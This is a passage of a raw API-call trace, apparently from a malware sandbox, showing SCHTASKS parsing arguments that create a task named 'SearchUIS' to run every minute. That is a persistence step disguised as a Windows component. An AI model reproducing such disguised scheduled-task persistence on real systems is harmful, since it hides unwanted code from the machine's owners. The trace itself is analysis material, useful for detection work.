(_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x200) returned 0x21c24e9bb70 [0124.988] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0124.988] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0124.989] GetProcessHeap () returned 0x21c24e90000 [0124.989] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x30) returned 0x21c24e93850 [0124.989] _vsnwprintf (in: _Buffer=0x21c24e93e60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xef5d8af248 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0124.989] GetProcessHeap () returned 0x21c24e90000 [0124.989] GetProcessHeap () returned 0x21c24e90000 [0124.989] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9a8a0) returned 1 [0124.989] GetProcessHeap () returned 0x21c24e90000 [0124.989] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9a8a0) returned 0x776 [0124.989] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9a8a0) returned 1 [0124.989] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.989] GetThreadLocale () returned 0x409 [0124.989] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="?") returned 1 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="create") returned 6 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="delete") returned 6 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="query") returned 5 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="change") returned 6 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="run") returned 3 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="end") returned 3 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] lstrlenW (lpString="showsid") returned 7 [0124.990] GetThreadLocale () returned 0x409 [0124.990] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.990] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.990] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.990] lstrlenW (lpString="/create") returned 7 [0124.990] lstrlenW (lpString="-/") returned 2 [0124.991] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.991] lstrlenW (lpString="?") returned 1 [0124.991] lstrlenW (lpString="?") returned 1 [0124.991] GetProcessHeap () returned 0x21c24e90000 [0124.991] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e93f30 [0124.991] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.991] GetProcessHeap () returned 0x21c24e90000 [0124.991] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xa) returned 0x21c24e93890 [0124.991] lstrlenW (lpString="create") returned 6 [0124.991] GetProcessHeap () returned 0x21c24e90000 [0124.991] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e938b0 [0124.991] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.991] GetProcessHeap () returned 0x21c24e90000 [0124.991] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x14) returned 0x21c24e938d0 [0124.991] _vsnwprintf (in: _Buffer=0x21c24e93890, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|?|") returned 3 [0124.991] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0124.991] lstrlenW (lpString="|?|") returned 3 [0124.991] lstrlenW (lpString="|create|") returned 8 [0124.991] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.991] lstrlenW (lpString="create") returned 6 [0124.991] lstrlenW (lpString="create") returned 6 [0124.991] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.991] GetProcessHeap () returned 0x21c24e90000 [0124.991] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93890) returned 1 [0124.991] GetProcessHeap () returned 0x21c24e90000 [0124.991] RtlReAllocateHeap (Heap=0x21c24e90000, Flags=0xc, Ptr=0x21c24e93890, Size=0x14) returned 0x21c24e938f0 [0124.991] lstrlenW (lpString="create") returned 6 [0124.991] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.991] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0124.992] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0124.992] lstrlenW (lpString="|create|") returned 8 [0124.992] lstrlenW (lpString="|create|") returned 8 [0124.992] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0124.992] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.992] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.992] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.992] lstrlenW (lpString="/tn") returned 3 [0124.992] lstrlenW (lpString="-/") returned 2 [0124.992] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.992] lstrlenW (lpString="?") returned 1 [0124.992] lstrlenW (lpString="?") returned 1 [0124.992] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.992] lstrlenW (lpString="tn") returned 2 [0124.992] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.992] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|?|") returned 3 [0124.992] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.992] lstrlenW (lpString="|?|") returned 3 [0124.992] lstrlenW (lpString="|tn|") returned 4 [0124.992] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.992] lstrlenW (lpString="create") returned 6 [0124.992] lstrlenW (lpString="create") returned 6 [0124.992] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.992] lstrlenW (lpString="tn") returned 2 [0124.992] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.992] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0124.992] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.993] lstrlenW (lpString="|create|") returned 8 [0124.993] lstrlenW (lpString="|tn|") returned 4 [0124.993] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0124.993] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.993] lstrlenW (lpString="delete") returned 6 [0124.993] lstrlenW (lpString="delete") returned 6 [0124.993] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.993] lstrlenW (lpString="tn") returned 2 [0124.993] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.993] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|delete|") returned 8 [0124.993] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.993] lstrlenW (lpString="|delete|") returned 8 [0124.993] lstrlenW (lpString="|tn|") returned 4 [0124.993] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0124.993] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.993] lstrlenW (lpString="query") returned 5 [0124.993] lstrlenW (lpString="query") returned 5 [0124.993] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.993] lstrlenW (lpString="tn") returned 2 [0124.993] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.993] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|query|") returned 7 [0124.993] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.993] lstrlenW (lpString="|query|") returned 7 [0124.993] lstrlenW (lpString="|tn|") returned 4 [0124.993] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0124.993] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.993] lstrlenW (lpString="change") returned 6 [0124.993] lstrlenW (lpString="change") returned 6 [0124.994] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.994] lstrlenW (lpString="tn") returned 2 [0124.994] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.994] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|change|") returned 8 [0124.994] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.994] lstrlenW (lpString="|change|") returned 8 [0124.994] lstrlenW (lpString="|tn|") returned 4 [0124.994] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0124.994] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.994] lstrlenW (lpString="run") returned 3 [0124.994] lstrlenW (lpString="run") returned 3 [0124.994] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.994] lstrlenW (lpString="tn") returned 2 [0124.994] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.994] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|run|") returned 5 [0124.994] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.994] lstrlenW (lpString="|run|") returned 5 [0124.994] lstrlenW (lpString="|tn|") returned 4 [0124.994] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0124.994] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.994] lstrlenW (lpString="end") returned 3 [0124.994] lstrlenW (lpString="end") returned 3 [0124.994] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.994] lstrlenW (lpString="tn") returned 2 [0124.994] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.994] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|end|") returned 5 [0124.995] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.995] lstrlenW (lpString="|end|") returned 5 [0124.995] lstrlenW (lpString="|tn|") returned 4 [0124.995] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0124.995] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.995] lstrlenW (lpString="showsid") returned 7 [0124.995] lstrlenW (lpString="showsid") returned 7 [0124.995] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.995] GetProcessHeap () returned 0x21c24e90000 [0124.995] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e938f0) returned 1 [0124.995] GetProcessHeap () returned 0x21c24e90000 [0124.995] RtlReAllocateHeap (Heap=0x21c24e90000, Flags=0xc, Ptr=0x21c24e938f0, Size=0x16) returned 0x21c24e938f0 [0124.995] lstrlenW (lpString="tn") returned 2 [0124.995] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.995] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|showsid|") returned 9 [0124.995] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|tn|") returned 4 [0124.995] lstrlenW (lpString="|showsid|") returned 9 [0124.995] lstrlenW (lpString="|tn|") returned 4 [0124.995] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0124.995] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.995] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.995] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.995] lstrlenW (lpString="/tn") returned 3 [0124.995] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0124.995] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.995] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.995] lstrlenW (lpString="/tn") returned 3 [0124.995] GetProcessHeap () returned 0x21c24e90000 [0124.995] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x8) returned 0x21c24e93890 [0124.996] GetProcessHeap () returned 0x21c24e90000 [0124.996] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9ba70 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] lstrlenW (lpString="SearchUIS") returned 9 [0124.996] lstrlenW (lpString="-/") returned 2 [0124.996] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] lstrlenW (lpString="SearchUIS") returned 9 [0124.996] StrChrIW (lpStart="SearchUIS", wMatch=0x3a) returned 0x0 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] lstrlenW (lpString="SearchUIS") returned 9 [0124.996] GetProcessHeap () returned 0x21c24e90000 [0124.996] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x14) returned 0x21c24e93920 [0124.996] GetProcessHeap () returned 0x21c24e90000 [0124.996] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b3e0 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.996] lstrlenW (lpString="/sc") returned 3 [0124.998] lstrlenW (lpString="-/") returned 2 [0124.998] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.998] lstrlenW (lpString="?") returned 1 [0124.998] lstrlenW (lpString="?") returned 1 [0124.998] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.998] lstrlenW (lpString="sc") returned 2 [0124.998] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.998] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|?|") returned 3 [0124.998] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0124.998] lstrlenW (lpString="|?|") returned 3 [0124.998] lstrlenW (lpString="|sc|") returned 4 [0124.998] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.998] lstrlenW (lpString="create") returned 6 [0124.998] lstrlenW (lpString="create") returned 6 [0124.998] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.999] lstrlenW (lpString="sc") returned 2 [0124.999] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.999] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0124.999] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0124.999] lstrlenW (lpString="|create|") returned 8 [0124.999] lstrlenW (lpString="|sc|") returned 4 [0124.999] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0124.999] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.999] lstrlenW (lpString="delete") returned 6 [0124.999] lstrlenW (lpString="delete") returned 6 [0124.999] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.999] lstrlenW (lpString="sc") returned 2 [0124.999] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.999] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|delete|") returned 8 [0124.999] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0124.999] lstrlenW (lpString="|delete|") returned 8 [0124.999] lstrlenW (lpString="|sc|") returned 4 [0124.999] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0124.999] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.999] lstrlenW (lpString="query") returned 5 [0124.999] lstrlenW (lpString="query") returned 5 [0124.999] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.999] lstrlenW (lpString="sc") returned 2 [0124.999] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.999] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|query|") returned 7 [0124.999] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0125.000] lstrlenW (lpString="|query|") returned 7 [0125.000] lstrlenW (lpString="|sc|") returned 4 [0125.000] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0125.000] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.000] lstrlenW (lpString="change") returned 6 [0125.000] lstrlenW (lpString="change") returned 6 [0125.000] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.000] lstrlenW (lpString="sc") returned 2 [0125.000] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.000] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|change|") returned 8 [0125.000] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0125.000] lstrlenW (lpString="|change|") returned 8 [0125.000] lstrlenW (lpString="|sc|") returned 4 [0125.000] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0125.000] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.000] lstrlenW (lpString="run") returned 3 [0125.000] lstrlenW (lpString="run") returned 3 [0125.000] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.000] lstrlenW (lpString="sc") returned 2 [0125.000] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.000] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|run|") returned 5 [0125.000] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0125.000] lstrlenW (lpString="|run|") returned 5 [0125.000] lstrlenW (lpString="|sc|") returned 4 [0125.000] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0125.000] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.000] lstrlenW (lpString="end") returned 3 [0125.001] lstrlenW (lpString="end") returned 3 [0125.001] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.001] lstrlenW (lpString="sc") returned 2 [0125.001] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.001] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|end|") returned 5 [0125.001] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0125.001] lstrlenW (lpString="|end|") returned 5 [0125.001] lstrlenW (lpString="|sc|") returned 4 [0125.001] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0125.001] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.001] lstrlenW (lpString="showsid") returned 7 [0125.001] lstrlenW (lpString="showsid") returned 7 [0125.001] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.001] lstrlenW (lpString="sc") returned 2 [0125.001] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.001] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|showsid|") returned 9 [0125.001] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|sc|") returned 4 [0125.001] lstrlenW (lpString="|showsid|") returned 9 [0125.001] lstrlenW (lpString="|sc|") returned 4 [0125.001] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0125.001] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.001] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.001] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.001] lstrlenW (lpString="/sc") returned 3 [0125.001] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0125.001] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.001] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.001] lstrlenW (lpString="/sc") returned 3 [0125.002] GetProcessHeap () returned 0x21c24e90000 [0125.002] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x8) returned 0x21c24e94240 [0125.002] GetProcessHeap () returned 0x21c24e90000 [0125.002] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b410 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] lstrlenW (lpString="MINUTE") returned 6 [0125.002] lstrlenW (lpString="-/") returned 2 [0125.002] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] lstrlenW (lpString="MINUTE") returned 6 [0125.002] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] lstrlenW (lpString="MINUTE") returned 6 [0125.002] GetProcessHeap () returned 0x21c24e90000 [0125.002] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e94260 [0125.002] GetProcessHeap () returned 0x21c24e90000 [0125.002] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b7a0 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.002] lstrlenW (lpString="/mo") returned 3 [0125.002] lstrlenW (lpString="-/") returned 2 [0125.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.002] lstrlenW (lpString="?") returned 1 [0125.002] lstrlenW (lpString="?") returned 1 [0125.002] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.002] lstrlenW (lpString="mo") returned 2 [0125.002] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.003] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|?|") returned 3 [0125.003] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.003] lstrlenW (lpString="|?|") returned 3 [0125.003] lstrlenW (lpString="|mo|") returned 4 [0125.003] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.003] lstrlenW (lpString="create") returned 6 [0125.003] lstrlenW (lpString="create") returned 6 [0125.003] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.003] lstrlenW (lpString="mo") returned 2 [0125.003] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.003] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|create|") returned 8 [0125.003] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8af258 | out: _Buffer="|mo|") returned 4 [0125.003] lstrlenW (lpString="|create|") returned 8 [0125.003] lstrlenW (lpString="|mo|") returned 4 [0125.003] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0125.003] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.003] lstrlenW (lpString="delete") returned 6 [0125.003] lstrlenW (lpString="delete") returned 6 [0125.003] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.003] lstrlenW (lpString="mo") returned 2 [0125.003] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.003] _vsnwprintf (in: 